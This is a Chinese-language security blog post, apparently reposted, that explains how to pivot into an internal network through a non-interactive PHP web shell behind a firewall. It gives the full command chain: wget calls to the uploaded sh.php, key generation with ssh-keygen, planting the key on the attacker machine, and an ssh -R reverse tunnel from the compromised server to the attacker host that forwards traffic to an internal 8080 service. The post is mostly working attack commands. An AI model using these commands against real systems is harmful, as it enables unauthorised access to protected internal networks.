通过non-interactive shell转发请求到内网

admin 2022年3月23日06:57:50评论119 views字数 2087阅读6分57秒阅读模式
场景如图
通过non-interactive shell转发请求到内网

如图中所示,这台web server在防火墙之后,且防火墙只允许外界通过80和443端口发送请求到web server。此外,因为获取的shell的用户权限较小(图中为www-data),且是非交互式( non-interactive )shell (PHP中继) ,利用起来非常受限。

这里简单说一下交互式shell(interactive shell)和非交互式shell(non-interactive shell)的区别

interactive shell:需要交互,即shell等待我们的输入,然后立即执行提交的命令,我们平常打开终端,执行命令的就是这种shell
non-interactive shell:不要要交互,通常以shell script方式来执行,shell读取存放在文件中的命令,然后执行,命令执行完,shell就终止了

通过non-interactive shell转发请求到内网

wget -O - -q "http://webserver.com/uploads/sh.php?cmd=whoami"

wget 命令参数解释:

-O - : 表示输出到stdout
-q :quiet模式,关闭输出

解决方法

因为防火墙的原因,无法直接从正向(attacker -> firewall -> web server)来进行利用。但从图中,我们可以看到,web server开放了22等端口,且防火墙不会拦截内部向外发起的请求。

因此,作者选择创建一条从web server到attacker machine的的反向SSH 隧道,利用加密的隧道和端口转发来解决这个问题。如下图
通过non-interactive shell转发请求到内网

但是,因为获得的shell是非交互式( non-interactive )的,并且SSH client需要通过交互来输入密码,因此从PHP shell直接创建SSH隧道是不可行的。

为了克服这个问题,作者使用了SSH public key authentication,这种认证方式不需要密码。因为web server上没有public-private SSH key pair,因此需要利用 ssh-keygen 命令来生成。

SSH public key authentication作用:为了让两个linux机器之间使用ssh不需要用户名和密码。采用了数字签名RSA或者DSA来完成这个操作。

因为non-interactive shell的原因,这里需要在执行命令的同时,指定key files的保存路径和密码参数。

wget -O - -q "http://webserver.com/uploads/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N "" "

ssh-keygen 命令参数解释:

-f : key文件保存路径
-N : 提供密码。因为生产key 过程中需要输入两次密码,因此这里有两个”

通过non-interactive shell转发请求到内网

获取public key
wget -O - -q "http://webserver.com/uploads/sh.php?cmd=cat /tmp/id_rsa.pub "

通过non-interactive shell转发请求到内网

接下来需要在attacker machine上建一个低权限的用户,然后把从web server上获取到的public key 放到我们的authorized_keys 文件中去。这样 www-datat 用户就能够不需要密码就能SSH到attacker machine

sudo adduser --system tempuser

sudo mkdir /home/tempuser/.ssh

echo "ssh-rsa AAAAB3NzaC1yc2EAAA....sQCuKX [email protected]" | sudo tee /home/tempuser/.ssh/authorized_keys > /dev/null

通过non-interactive shell转发请求到内网

tee命令介绍:读取标准输入的数据,并将其内容输出成文件。

到此,我们就能够创建一个从从web server到attacker machine的一个反向SSH连接,然后将本地8080段端口转发到内部server的8080端口,比如图中的 192.168.20.13:8080

wget -O - -q "http://webserver.com/uploads/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f [email protected]"

ssh 命令参数介绍:

-i : private RSA key
-o : option。
-R : 端口转发。格式为[bind_address:]port:host:hostport
-N : 不执行远程命令。仅用于端口转发
-f : 命令执行之前,让ssh到后台运行

命令运行完后没有输出,但是可以看到本机的SSH server以 tempuser 的身份打开了8080端口的TCP连接。当连接到这个8080端口后,请求就会通过这个加密的SSH隧道转发到内部server中去。

通过non-interactive shell转发请求到内网


from:http://zone.wooyun.org/content/22479

本文始发于微信公众号(关注安全技术):通过non-interactive shell转发请求到内网

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月23日06:57:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过non-interactive shell转发请求到内网https://cn-sec.com/archives/503102.html

发表评论

匿名网友 填写信息